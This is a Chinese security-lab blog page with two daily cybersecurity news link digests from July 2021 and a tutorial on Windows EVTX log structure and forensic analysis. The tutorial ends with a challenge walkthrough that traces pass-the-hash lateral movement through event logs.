漏洞奖励平台 https://www.bleepingcomputer.com/news/google/google-launches-new-bug-hunters-vulnerability-rewards-platform/ 9、网络犯罪分子使用虚假的 Win 11 安装程序来传播恶意软件 https://www.cyberscoop.com/microsoft-11-fake-installer-kaspersky-malware/ 10、 物联网恶意软件增长700%,Gafgyt 和 Mirai为主要威胁 https://www.freebuf.com/articles/paper/281177.html
网络安全日报 2021年07月27日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Apple 修复了今年第 13 个零日漏洞 CVE-2021-30807 https://securityaffairs.co/wordpress/120576/security/apple-cve-2021-30807-zero-day.html 2、微软发布了针对 PetitPotam 攻击的缓解措施 https://securityaffairs.co/wordpress/120550/security/petitpotam-attack-mitigations.html 3、研究人员演示了将恶意软件隐藏在神经网络模型中的技术 https://securityaffairs.co/wordpress/120558/malware/hiding-malware-model-neural-network.html 4、No More Ransom成立 5 周年已为数百万勒索软件受害者恢复了数据 https://securityaffairs.co/wordpress/120567/cyber-crime/no-more-ransom-5th-anniversary.html 5、Firefox 90 不再支持 FTP 协议 https://www.securityweek.com/firefox-90-drops-support-ftp-protocol 6、GitLab 发布开源工具,用于发现程序依赖项中的恶意代码 https://www.securityweek.com/gitlab-releases-open-source-tool-hunting-malicious-code-dependencies 7、Babuk Ransomware 团伙被勒索 https://threatpost.com/babuk-ransomware-gang-ransomed-forum-stuffed-porn/168169/ 8、微软警告垃圾邮件活动利用HTML 走私绕过邮件安全系统 https://therecord.media/microsoft-warns-of-weeks-long-malspam-campaign-abusing-html-smuggling 9、大华和海康威视被退出美国安防行业协会(SIA) https://therecord.media/dahua-hikvision-out-of-security-camera-industry-group 10、Mitre发布了25个最危险的软件漏洞列表 https://www.zdnet.com/article/the-25-most-dangerous-software-vulnerabilities-to-watch-out-for/
Windows 取证之EVTX日志
0x0、概述 evtx文件是微软从 Windows NT 6.0(Windows Vista 和 Server 2008) 开始采用的一种全新的日志文件格式。在此之前的格式是 evt 。evtx由Windows事件查看器创建,包含Windows记录的事件列表,以专有的二进制XML格式保存。 0x1、EVTX文件结构 evtx文件主要由三部分组成: file header (文件头) chunks (数据块) trailing empty values (尾部填充空值) File Header(文件头): 文件头长度为4KB(4096bytes),其结构如下: 偏移长度(Bytes)值描述0x008"ElfFile\x00"标志位/签名0x088 第一个区块编号(存在时间最久的区块编号)0x108 当前区块编号(块的编号从0开始)0x188 下一条事件记录的ID0x204128文件头有效部分的大小0x2421次要版本0x2623主要版本0x2824096文件头的大小0x2A2 区块的数量0x2C76 未知 (空值)0x784 文件标志0x7C4 文件头前 120 bytes 的CRC32校验和0x803968 未知 (空值) 我们可以使用Hex编辑器打开一个evtx文件查看一下: Chunk(块): 每个块的大小是 65536 bytes(64KB),主要由三部分组成: chunk header 块头 array of event records 事件记录组 unused space 未使用的空间 chunk头长度为512bytes,其结构如下: 偏移长度(Bytes)值描述0x008"ElfChnk\x00"标志位/签名0x088 基于日志编号的第一条日志记录的ID0x108 基于日志编号的最后一条日志记录的ID0x188 基于文件编号的第一条日志记录的ID0x208 基于文件编号的最后一条日志记录的ID0x284128chunk头大小0x2C4 最后一条日志记录的偏移量(相对于块头的起始偏移量)0x304 下一条日志记录的偏移量(相对于块头的起始偏移量)0x344 事件记录数据的 CRC32 校验和0x3864 Unknown (空值)0x784 Unknown (flags?)0x7C4 块头CRC32校验和(块头前120个字节和128至512字节的数据的CRC32校验和) Event record(事件记录): 事件记录的长度非固定长度,其结构如下: 偏移长度(Bytes)值描述0x004"\x2a\x2a\x00\x00"标志位/签名0x044 事件记录的长度0x088 记录ID0x108 日志记录的写入时间(FILETIME)0x18不确定 基于二进制XML编码的信息不确定4 记录长度(副本) 由上面的信息,可知evtx日志文件包含一个4KB的文件头加后面一定数量的64KB大小的块,一个块中记录一定数量(大约100条)的事件记录。每个块是独立的,不受其他块影响。不会出现一条事件记录的数据存在于两个块中。每条记录包含一个基于二进制XML编码的信息。每条事件记录包含其创建时间与事件 ID(可以用于确定事件的种类),因此可以反映某个特定的时间发生的特定的操作,取证人员可以根据日志文件来发现犯罪的过程。 evtx日志文件大概的结构如下所示: 在windows事件查看器中查看: 0x2、EVTX文件的存储 Windows事件日志文件保存在%SystemRoot%\System32\Winevt\Logs路径中。 常见日志文件主要有三个,分别是:System.evtx 、Application.evtx 和Security.evtx。分别是系统日志、应用程序日志和安全日志。 System.evtx 记录操作系统自身组件产生的日志事件,比如驱动、系统组件和应用软件的崩溃以及数据丢失错误等等。 Application.evtx 记录应用程序或系统程序运行方面的日志事件,比如数据库程序可以在应用程序日志中记录文件错误,应用的崩溃记录等。 Security.evtx 记录系统的安全审计日志事件,比如登录事件、对象访问、进程追踪、特权调用、帐号管理、策略变更等。Security.evtx也是取证中最常用到的。 默认情况下,当一个evtx文件的记录满了,日志服务会覆盖最开始的记录,从头开始写入新的记录。也就是相当于一个循环记录的缓存文件。 0x3、Evtx日志分析 Windows 用 Event ID来标识事件的不同含义,拿Security日志来说,一些常见的Event ID 如下: 事件ID描述4608Windows 启动4609Windows 关机4616系统时间发生更改4624用户成功登录到计算机4625登录失败。使用未知用户名或密码错误的已知用户名尝试登录。4634用户注销完成4647用户启动了注销过程4648用户在以其他用户身份登录时,使用显式凭据成功登录到计算机4703令牌权限调整4704分配了用户权限4720已创建用户账户4725账户被禁用4768请求Kerberos身份验证票证(TGT)4769请求Kerberos服务票证4770已续订Kerberos服务票证4779用户在未注销的情况下断开了终端服务器会话 1、通过Windows事件查看器分析日志 通过Windows事件查看器可以查看当前主机的事件日志,也可以打开保存的 evtx文件。 可以通过点击、筛选、查找等多种方式查看事件日志 筛选器提供了丰富的筛选方式: 2、通过工具分析Evtx Log Parser Log Parser(是微软公司自己开发的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它使用类似 SQL 语句一样查询分析这些数据,还可以把分析结果以图表的形式展现出来。 Log Parser下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=24659 使用方法: logparser -i:输入文件的格式 -o:输出文件的格式 "查询语句 和文件路径" 例子: 查询登录成功的事件: LogParser.exe -i:EVT -o:DATAGRID  "SELECT *  FROM E:\Security.evtx where EventID=4624" 还有其他的语法,具体可以查看其帮助信息 >LogParser.exeMicrosoft (R) Log Parser Version 2.2.10Copyright (C) 2004 Microsoft Corporation. All rights reserved.Usage:   LogParser [-i:<input_format>] [-o:<output_format>] <SQL query> |                  file:<query_filename>[?param1=value1+...]                  [<input_format_options>] [<output_f Log Parser Studio logparser的GUI版本。 下载地址:https://techcommunity.microsoft.com/t5/exchange-team-blog/log-parser-studio-2-0-is-now-available/ba-p/593266 其界面如下: Event Log Explorer Event Log Explorer 是一个非常好用的Windows 日志分析工具,下载地址:https://eventlogxp.com/ LogParser Lizard LogParser Lizard 是一个功能丰富的Windows 日志分析软件,可以通过类似SQL查询语句对日志筛选查询进行分析。 下载地址:https://lizard-labs.com/log_parser_lizard.aspx Evtx Explorer/EvtxECmd 具有标准化CSV、XML和json输出的事件日志(Evtx)解析器! 下载地址:https://ericzimmerman.github.io/#!index.md 使用方法: EvtxECmd.exe -f 日志文件 --xml 输出路径 解析的xml文件结构如下: 0x4、Evtx取证实战 题目来源:Cynet应急响应挑战赛 描述:GOT Ltd 的人力资源主管King-Slayer认为他的电脑上有可疑活动。 2020 年 2 月 8 日,15:00 左右,他发现桌面上出现了一个带有 kiwi标志的文件。据他描述,该文件首次出现在他的桌面后不久就突然消失了。那天晚些时候,他开始收到消息告诉他需要重新激活 Windows Defender。他激活了 Windows Defender,几个小时后又收到了同样的消息。 他决定将这件事告诉他在 IT 部门的朋友——Chris。Chris立即将此事报告给了 GOT 的网络安全部门。 该公司的 CISO 立即打电话求助我们,GOT有限公司总部设在瑞士,CISO 向我们发送了来自 King-Slayer的 PC 和域控制器的所有事件日志文件。他希望我们查出异常: 提示: 用户帐户 (KingSlayer) 是他电脑上的本地管理员。 域名 -> GOT.Com DC 服务器名称 -> WIN-IL7M7CC6UVU Jaime(King Slayer)的主机名->DESKTOP-HUB666E(172.16.44.135) 提交攻击者使用的域用户帐户(King-Slayer除外)以及他使用此用户帐户访问的主机的IP地址。 我们拿到的文件包括DC服务的日志和主机日志文件: 给出的文件还有一个提示就是PassTheHash ,表明攻击者使用了该技术。 传递哈希是一种黑客技术,它允许攻击者使用用户密码的基础NTLM或LanMan哈希对远程服务器或服务进行身份验证,而不是像通常情况下那样要求使用关联的明文密码。它取代了仅窃取哈希值并使用该哈希值进行身份验证而窃取明文密码的需要。--via 维基百科 通过日志交叉比对和筛选查找,我们确定了在2020-2-9 21:59左右,有异常登录行为 注意:Windows EVTX 的FILETIME 是 UTC时间,注意转化为瑞士当地时间。 我们发现用户Daenerys在2020年2月9日21:59 (当地时间15:59)通过SMB协议登录到WIN-IL7M7CC6UVU(域控制器),而且使用了PSExec.exe 利用Deanerys用户登录了域控服务器。攻击者可能使用了Mimikatz拿到了Daenerys用户的哈希,然后用于横向移动渗透到DC。 参考资料 https://github.com/williballenthin/python-evtxWindows EVTX日志恢复与取证技术研究 https://xuewen.cnki.net/CMFD-1018252760.nh.html
网络安全日报 2021年07月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、包含38 亿个电话号码的Clubhouse数据库在暗网出售 https://securityaffairs.co/wordpress/120553/hacking/threat-actor-offers-clubhouse-secret-database-containing-3-8b-phone-numbers.html2、 攻击者通过Argo Workflows在K8s上部署挖矿程序 https://securityaffairs.co/wordpress/120544/malware/kubernetes-attacks-argo-workflows.html3、XCSSET macOS 恶意软件窃取Telegram、Chrome数据 https://securityaffairs.co/wordpress/120532/cyber-crime/xcsset-macos-malware-telegram.html4、2021 年东京奥运会开幕式前遭到恶意软件攻击 https://securityaffairs.co/wordpress/120513/malware/2021-tokyo-olympics-wiper.html5、研究人员发现Windows漏洞 PetitPotam 可获取密码哈希 https://securityaffairs.co/wordpress/120489/hacking/windows-petitpotam-attack.html6、包含居民个人数据在内的 80 多个美国市政敏感信息泄露 https://securityaffairs.co/wordpress/120477/data-breach/us-municipalities-data-breach.html7、Kaseya 获得了 REvil 勒索软件通用解密器 https://securityaffairs.co/wordpress/120467/cyber-crime/kaseya-obtained-revil-universal-decryptor.html8、苹果修复了 iPhone WiFi SSID格式化溢出漏洞 https://www.bleepingcomputer.com/news/security/apple-fixes-bug-that-breaks-iphone-wifi-when-joining-rogue-hotspots/9、Taurus恶意软件利用破解软件站点诱导用户安装 https://blog.minerva-labs.com/taurus-user-guided-infection10、研究显示大量家用路由器仍然使用默认管理员密码 https://www.welivesecurity.com/2021/07/22/popular-wi-fi-router-vulnerable-default-password-attack/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页